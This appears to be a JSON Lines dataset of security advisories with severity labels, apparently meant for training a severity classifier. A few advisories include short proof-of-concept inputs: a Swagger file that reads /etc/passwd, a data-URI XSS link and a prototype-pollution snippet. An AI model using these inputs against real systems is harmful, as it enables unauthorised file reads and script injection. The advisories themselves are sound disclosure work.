-{"id": "535556109b0f2d65fff6", "text": "Malicious Package in bitcoimjs-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcoimjs-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "77995cf29530c694129a", "text": "Pysaml2 improperly initializes encryption vector\n\nPython package pysaml2 version 4.5.0 and earlier reuses the initialization vector across encryptions in the IDP server, resulting in weak encryption of data.", "text_raw": "Pysaml2 improperly initializes encryption vector\n\n[Severity: MEDIUM]\n\nPython package pysaml2 version 4.5.0 and earlier reuses the initialization vector across encryptions in the IDP server, resulting in weak encryption of data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-16", "split": "train"}
-{"id": "dda23813b8c0f3c5b77a", "text": "crack does not properly restrict casts of string values\n\nThe crack gem 0.3.1 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "text_raw": "crack does not properly restrict casts of string values\n\n[Severity: HIGH]\n\nThe crack gem 0.3.1 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "28476fdbc34ee9b36edd", "text": "Incorrect Authorization in HashiCorp Consul\n\nHashiCorp Consul and Consul Enterprise 1.4.1 through 1.6.2 did not uniformly enforce ACLs across all API endpoints, resulting in potential unintended information disclosure. Fixed in 1.6.3.", "text_raw": "Incorrect Authorization in HashiCorp Consul\n\n[Severity: MEDIUM]\n\nHashiCorp Consul and Consul Enterprise 1.4.1 through 1.6.2 did not uniformly enforce ACLs across all API endpoints, resulting in potential unintended information disclosure. Fixed in 1.6.3.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "4409365d99ac3b80ad54", "text": "Roundup 1.6 allows XSS via the URI because frontends/roundup.cgi and roundup/cgi/wsgi_handler.py mishandle 404 errors.", "text_raw": "Moderate severity vulnerability that affects roundup\n\n[Severity: MEDIUM]\n\nRoundup 1.6 allows XSS via the URI because frontends/roundup.cgi and roundup/cgi/wsgi_handler.py mishandle 404 errors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "3cefdf9fbfca638c9ea8", "text": "Apache Qpid Broker vulnerable to authentication port spoofing\n\nApache Qpid Broker-J versions 0.18 through 0.32 are vulnerable to authentication port spoofing. When the broker is configured with different authentication providers on different ports, one of which is an HTTP port, then the broker can be tricked by a remote unauthenticated attacker connecting to the HTTP port into using an authentication provider that was configured on a different port. The attacker still needs valid credentials with the authentication provider on the spoofed port. This becomes an issue when the spoofed port has weaker authentication protection (e.g., anonymous access, default accounts) and is normally protected by firewall rules or similar which can be circumvented by this vulnerability. AMQP ports are not affected.", "text_raw": "Apache Qpid Broker vulnerable to authentication port spoofing\n\n[Severity: CRITICAL]\n\nApache Qpid Broker-J versions 0.18 through 0.32 are vulnerable to authentication port spoofing. When the broker is configured with different authentication providers on different ports, one of which is an HTTP port, then the broker can be tricked by a remote unauthenticated attacker connecting to the HTTP port into using an authentication provider that was configured on a different port. The attacker still needs valid credentials with the authentication provider on the spoofed port. This becomes an issue when the spoofed port has weaker authentication protection (e.g., anonymous access, default accounts) and is normally protected by firewall rules or similar which can be circumvented by this vulnerability. AMQP ports are not affected.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "58b20d71b099cf2c7f61", "text": "Malicious Package in alipayjsapi\n\nAll versions of `alipayjsapi` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in alipayjsapi\n\n[Severity: CRITICAL]\n\nAll versions of `alipayjsapi` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a2c2d5619f78bd5e30f4", "text": "fury-adapter-swagger allows arbitrary file read from system\n\n`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n  title: Read local files\n  version: '1.0'\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: '/etc/passwd'\n```\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.", "text_raw": "fury-adapter-swagger allows arbitrary file read from system\n\n[Severity: HIGH]\n\n`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n  title: Read local files\n  version: '1.0'\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: '/etc/passwd'\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "80c0f1cbd2805d5228de", "text": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\nThe verify function in the Stark Bank Java ECDSA library (ecdsa-java) 1.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "text_raw": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\n[Severity: CRITICAL]\n\nThe verify function in the Stark Bank Java ECDSA library (ecdsa-java) 1.0.0 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "c1656b60435d2ea85a43", "text": "In Apache Hadoop versions 2.6.1 to 2.6.5, 2.7.0 to 2.7.3, and 3.0.0-alpha1, if a file in an encryption zone with access permissions that make it world readable is localized via YARN's localization mechanism, that file will be stored in a world-readable location and can be shared freely with any application that requests to localize that file.", "text_raw": "Moderate severity vulnerability that affects org.apache.hadoop:hadoop-main\n\n[Severity: MEDIUM]\n\nIn Apache Hadoop versions 2.6.1 to 2.6.5, 2.7.0 to 2.7.3, and 3.0.0-alpha1, if a file in an encryption zone with access permissions that make it world readable is localized via YARN's localization mechanism, that file will be stored in a world-readable location and can be shared freely with any application that requests to localize that file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "9781dff2398931e59e9f", "text": "Storing Password in Local Storage\n\nThe `setPassword` method (http://parseplatform.org/Parse-SDK-JS/api/2.9.1/Parse.User.html#setPassword) stores the user's password in localStorage as raw text making it vulnerable to anyone with access to your localStorage. We believe this is the only time that password is stored at all. In the documentation under Users > Signing Up, it clearly states, \"We never store passwords in plaintext, nor will we ever transmit passwords back to the client in plaintext.\"\n\nExample Code:\n```js\nasync () => {\n    const user = Parse.User.current()\n    if (user) {\n        user.setPassword('newpass')\n        await user.save()\n    }\n}\n```\nAfter running the above code, the new password will be stored in localStorage as a property named \"password\".\n\nProposed Solution:\nBefore saving anything to localStorage, Parse should strip out any properties named \"password\" that are attempting to be stored with a Parse.User type object.\n\nConfiguration:\nParse SDK: 2.9.1\nParse Server: 3.9.0", "text_raw": "Storing Password in Local Storage\n\n[Severity: MEDIUM]\n\nThe `setPassword` method (http://parseplatform.org/Parse-SDK-JS/api/2.9.1/Parse.User.html#setPassword) stores the user's password in localStorage as raw text making it vulnerable to anyone with access to your localStorage. We believe this is the only time that password is stored at all. In the documentation under Users > Signing Up, it clearly states, \"We never store passwords in plaintext, nor will we ever transmit passwords back to the client in plaintext.\"\n\nExample Code:\n```js\nasync () => {\n    const user = Parse.User.current()\n    if (user) {\n        user.setPassword('newpass')\n        await user.save()\n    }\n}\n```\nAfter running the above code, the new password will be stored in localStorage as a property named \"password\".\n\nProposed Solution:\nBefore saving anything to localStorage, Parse should strip out any properties named \"password\" that are attempting to be stored with a Parse.User type object.\n\nConfiguration:\nParse SDK: 2.9.1\nParse Server: 3.9.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-23", "split": "train"}
-{"id": "9fd03e6bd8d47d40e4c1", "text": "Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability", "text_raw": "Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-02-11", "split": "train"}
-{"id": "328850ae9b365992eace", "text": "actionpack Open Redirect in Host Authorization Middleware\n\nSpecially crafted \"X-Forwarded-Host\" headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.\n\nImpacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:\n\n```\nconfig.hosts <<  '.EXAMPLE.com'\n```\n\nWhen an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.\n\nThis vulnerability is similar to CVE-2021-22881 and CVE-2021-22942.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 6-0-host-authorzation-open-redirect.patch - Patch for 6.0 series\n* 6-1-host-authorzation-open-redirect.patch - Patch for 6.1 series\n* 7-0-host-authorzation-open-redirect.patch - Patch for 7.0 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.", "text_raw": "actionpack Open Redirect in Host Authorization Middleware\n\n[Severity: MEDIUM]\n\nSpecially crafted \"X-Forwarded-Host\" headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.\n\nImpacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:\n\n```\nconfig.hosts <<  '.EXAMPLE.com'\n```\n\nWhen an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.\n\nThis vulnerability is similar to CVE-2021-22881 and CVE-2021-22942.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 6-0-host-authorzation-open-redirect.patch - Patch for 6.0 series\n* 6-1-host-authorzation-open-redirect.patch - Patch for 6.1 series\n* 7-0-host-authorzation-open-redirect.patch - Patch for 7.0 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "0a1383de99e9e64deab3", "text": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Print Spooler contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-285\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Print Spooler contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-285\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5bbd3fd6cd4a929cb7fa", "text": "Unaligned memory access in rand_core\n\n### Impact\nAffected versions of this crate violated alignment when casting byte slices to integer slices, resulting in undefined behavior. `rand_core::BlockRng::next_u64` and `rand_core::BlockRng::fill_bytes` are affected.\n\n### Patches\nThe flaw was corrected by Ralf Jung and Diggory Hardy for `rand_core >= 0.4.2`.\n\n### Workarounds\nNone.\n\n### References\nSee [Rand's changelog](https://github.com/rust-random/rand/blob/master/rand_core/CHANGELOG.md#050---2019-06-06).\n\n### For more information\nIf you have any questions or comments about this advisory, [open an issue in the Rand repository](https://github.com/rust-random/rand/issues/new/choose).", "text_raw": "Unaligned memory access in rand_core\n\n[Severity: CRITICAL]\n\n### Impact\nAffected versions of this crate violated alignment when casting byte slices to integer slices, resulting in undefined behavior. `rand_core::BlockRng::next_u64` and `rand_core::BlockRng::fill_bytes` are affected.\n\n### Patches\nThe flaw was corrected by Ralf Jung and Diggory Hardy for `rand_core >= 0.4.2`.\n\n### Workarounds\nNone.\n\n### References\nSee [Rand's changelog](https://github.com/rust-random/rand/blob/master/rand_core/CHANGELOG.md#050---2019-06-06).\n\n### For more information\nIf you have any questions or comments about this advisory, [open an issue in the Rand repository](https://github.com/rust-random/rand/issues/new/choose).\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3ada89f036d4a915326c", "text": "Regular Expression Denial of Service in Addressable templates\n\n### Impact\n\nWithin the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected.\n\n### Patches\n\nThe vulnerability was introduced in version 2.3.0 (previously yanked) and has been present in all subsequent versions up to, and including, 2.7.0. It is fixed in version 2.8.0.\n\n### Workarounds\n\nThe vulnerability can be avoided by only creating Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n- https://cwe.mitre.org/data/definitions/1333.html\n- https://www.regular-expressions.info/catastrophic.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)", "text_raw": "Regular Expression Denial of Service in Addressable templates\n\n[Severity: HIGH]\n\n### Impact\n\nWithin the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected.\n\n### Patches\n\nThe vulnerability was introduced in version 2.3.0 (previously yanked) and has been present in all subsequent versions up to, and including, 2.7.0. It is fixed in version 2.8.0.\n\n### Workarounds\n\nThe vulnerability can be avoided by only creating Template objects from trusted sources that have been validated not to produce catastrophic backtracking.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n- https://cwe.mitre.org/data/definitions/1333.html\n- https://www.regular-expressions.info/catastrophic.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-12", "split": "train"}
-{"id": "ce4eae7c8a598a71ad98", "text": "GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit", "text_raw": "GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-06-19", "split": "train"}
-{"id": "033bb9439e4663eea5fe", "text": "bottle HTTP Request smuggling\n\nThe package bottle before 0.12.19 are vulnerable to Web Cache Poisoning by using a vector called parameter cloaking. When the attacker can separate query parameters using a semicolon (;), they can cause a difference in the interpretation of the request between the proxy (running with default configuration) and the server. This can result in malicious requests being cached as completely safe ones, as the proxy would usually not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.", "text_raw": "bottle HTTP Request smuggling\n\n[Severity: MEDIUM]\n\nThe package bottle before 0.12.19 are vulnerable to Web Cache Poisoning by using a vector called parameter cloaking. When the attacker can separate query parameters using a semicolon (;), they can cause a difference in the interpretation of the request between the proxy (running with default configuration) and the server. This can result in malicious requests being cached as completely safe ones, as the proxy would usually not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "0bf22f7371820c95a815", "text": "Withdrawn, accidental duplicate publish.\n\nThe safemode rubygem, as used in Foreman, versions 1.3.2 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.", "text_raw": "High severity vulnerability that affects safemode\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe safemode rubygem, as used in Foreman, versions 1.3.2 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-08", "split": "train"}
-{"id": "dd29042d4ba7fad363ef", "text": "Improper Certificate Validation in xmlhttprequest-ssl\n\nThe xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.", "text_raw": "Improper Certificate Validation in xmlhttprequest-ssl\n\n[Severity: CRITICAL]\n\nThe xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "266f515fc3b9f45ad1c0", "text": "Out-of-bounds Write in OpenCV\n\nOpenCV (Open Source Computer Vision Library) 3.3 (corresponding to OpenCV-Python 3.3.0.9) has an out-of-bounds write error in the function FillColorRow1 in utils.cpp when reading an image file by using cv::imread. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-12597.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: MEDIUM]\n\nOpenCV (Open Source Computer Vision Library) 3.3 (corresponding to OpenCV-Python 3.3.0.9) has an out-of-bounds write error in the function FillColorRow1 in utils.cpp when reading an image file by using cv::imread. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-12597.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "1834327c0059193c5e77", "text": "`aiohttp` Open Redirect vulnerability (`normalize_path_middleware` middleware)\n\n### Impact\n\nOpen redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.\n\nIt is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware.\n\n### Patches\n\nThis security problem has been fixed in v3.7.4. Upgrade your dependency as follows:\n[`pip install aiohttp >= 3.7.4`]\n\n### Workarounds\n\nIf upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.\n\n### References\n\n* [aiohttp @ PyPI]\n* [GHSA-v6wp-4m6f-gcjg]\n* [OWASP page on open redirects]\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [aiohttp repo](https://github.com/aio-libs/aiohttp/issues/new/choose)\n* Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com\n\nCredit: [Jelmer Vernooij] and [Beast Glatisant].\n\n[aiohttp @ PyPI]: https://pypi.org/p/aiohttp\n[`pip install aiohttp >= 3.7.4`]: https://pypi.org/project/aiohttp/3.7.4/\n[GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg\n[OWASP page on open redirects]:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\n\n[Jelmer Vernooij]: https://jelmer.uk\n[Beast Glatisant]: https://github.com/g147", "text_raw": "`aiohttp` Open Redirect vulnerability (`normalize_path_middleware` middleware)\n\n[Severity: LOW]\n\n### Impact\n\nOpen redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.\n\nIt is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware.\n\n### Patches\n\nThis security problem has been fixed in v3.7.4. Upgrade your dependency as follows:\n[`pip install aiohttp >= 3.7.4`]\n\n### Workarounds\n\nIf upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.\n\n### References\n\n* [aiohttp @ PyPI]\n* [GHSA-v6wp-4m6f-gcjg]\n* [OWASP page on open redirects]\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [aiohttp repo](https://github.com/aio-libs/aiohttp/issues/new/choose)\n* Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com\n\nCredit: [Jelmer Vernooij] and [Beast Glatisant].\n\n[aiohttp @ PyPI]: https://pypi.org/p/aiohttp\n[`pip install aiohttp >= 3.7.4`]: https://pypi.org/project/aiohttp/3.7.4/\n[GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg\n[OWASP page on open redirects]:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\n\n[Jelmer Vernooij]: https://jelmer.uk\n[Beast Glatisant]: https://github.com/g147", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-26", "split": "train"}
-{"id": "9edaa10779d63bfb0e9e", "text": "XSS in Data URI in remarkable\n\nAffected versions of `remarkable` are vulnerable to cross-site scripting. Vulnerable versions of the package allow the use of `data:` URIs in links, and can therefore execute javascript.\n\n## Proof of Concept\n\n```markdown\n[link](data:text/html,<script>alert('0')</script>)\n```\n\n## Recommendation\n\nUpdate to v1.7.0 or later", "text_raw": "XSS in Data URI in remarkable\n\n[Severity: HIGH]\n\nAffected versions of `remarkable` are vulnerable to cross-site scripting. Vulnerable versions of the package allow the use of `data:` URIs in links, and can therefore execute javascript. \n\n\n## Proof of Concept\n\n```markdown\n[link](data:text/html,<script>alert('0')</script>)\n```\n\n\n## Recommendation\n\nUpdate to v1.7.0 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "3cb792ef30204784acd8", "text": "OrientDB-Server vulnerable to Cross-Site Request Forgery\n\nThe JSONP endpoint in the Studio component in OrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 does not properly restrict callback values, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks, and obtain sensitive information, via a crafted HTTP request.", "text_raw": "OrientDB-Server vulnerable to Cross-Site Request Forgery\n\n[Severity: HIGH]\n\nThe JSONP endpoint in the Studio component in OrientDB Server Community Edition before 2.0.15 and 2.1.x before 2.1.1 does not properly restrict callback values, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks, and obtain sensitive information, via a crafted HTTP request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "5e9ac60832a55469ff60", "text": "Pandao editor.md vulnerable to XSS in IMG attributes\n\nPandao Editor.md 1.5.0 allows XSS via crafted attributes of an invalid IMG element.", "text_raw": "Pandao editor.md vulnerable to XSS in IMG attributes\n\n[Severity: MEDIUM]\n\nPandao Editor.md 1.5.0 allows XSS via crafted attributes of an invalid IMG element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "835536d548aa6ebba996", "text": "XSS in Dolibarr ERP & CRM\n\nhtdocs/user/passwordforgotten.php in Dolibarr 10.0.6 allows XSS via the Referer HTTP header.", "text_raw": "XSS in Dolibarr ERP & CRM\n\n[Severity: MEDIUM]\n\nhtdocs/user/passwordforgotten.php in Dolibarr 10.0.6 allows XSS via the Referer HTTP header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-28", "split": "train"}
-{"id": "a206cf23f30e90cd44f6", "text": "Path traversal in url-parse\n\nurl-parse before 1.5.0 mishandles certain uses of backslash such as http:\\/ and interprets the URI as a relative path.", "text_raw": "Path traversal in url-parse\n\n[Severity: MEDIUM]\n\nurl-parse before 1.5.0 mishandles certain uses of backslash such as http:\\/ and interprets the URI as a relative path.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "2157f679e70b48890669", "text": "Cross-Site Request Forgery in firefly-iii\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "Cross-Site Request Forgery in firefly-iii\n\n[Severity: LOW]\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-10-28", "split": "train"}
-{"id": "a79743fdc835f7ccdedc", "text": "Prototype Pollution in merge-recursive\n\nAll versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.\n\nProof of concept:\n\n```js\nvar merge = require('merge-recursive').recursive;\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nmerge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\n## Recommendation\n\nThere is currently no fix available.", "text_raw": "Prototype Pollution in merge-recursive\n\n[Severity: CRITICAL]\n\nAll versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.\n\nProof of concept:\n\n```js\nvar merge = require('merge-recursive').recursive;\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nmerge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\n\n## Recommendation\n\nThere is currently no fix available. ", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-18", "split": "train"}
-{"id": "9ae15af7993bfd45e922", "text": "Use-after-free in chttp\n\nThe From implementation for Vec was not properly implemented, returning a vector backed by freed memory. This could lead to memory corruption or be exploited to cause undefined behavior.\n\nA fix was published in version 0.1.3.", "text_raw": "Use-after-free in chttp\n\n[Severity: CRITICAL]\n\nThe From implementation for Vec was not properly implemented, returning a vector backed by freed memory. This could lead to memory corruption or be exploited to cause undefined behavior.\n\nA fix was published in version 0.1.3.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2c0fe1ce68af94b0deb4", "text": "FatPipe Networks WARP 10.2.2 Authorization Bypass", "text_raw": "FatPipe Networks WARP 10.2.2 Authorization Bypass\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-09-27", "split": "train"}
-{"id": "4a2381f164aa27263899", "text": "Command Injection in Kylin\n\nSimilar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.", "text_raw": "Command Injection in Kylin\n\n[Severity: CRITICAL]\n\nSimilar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
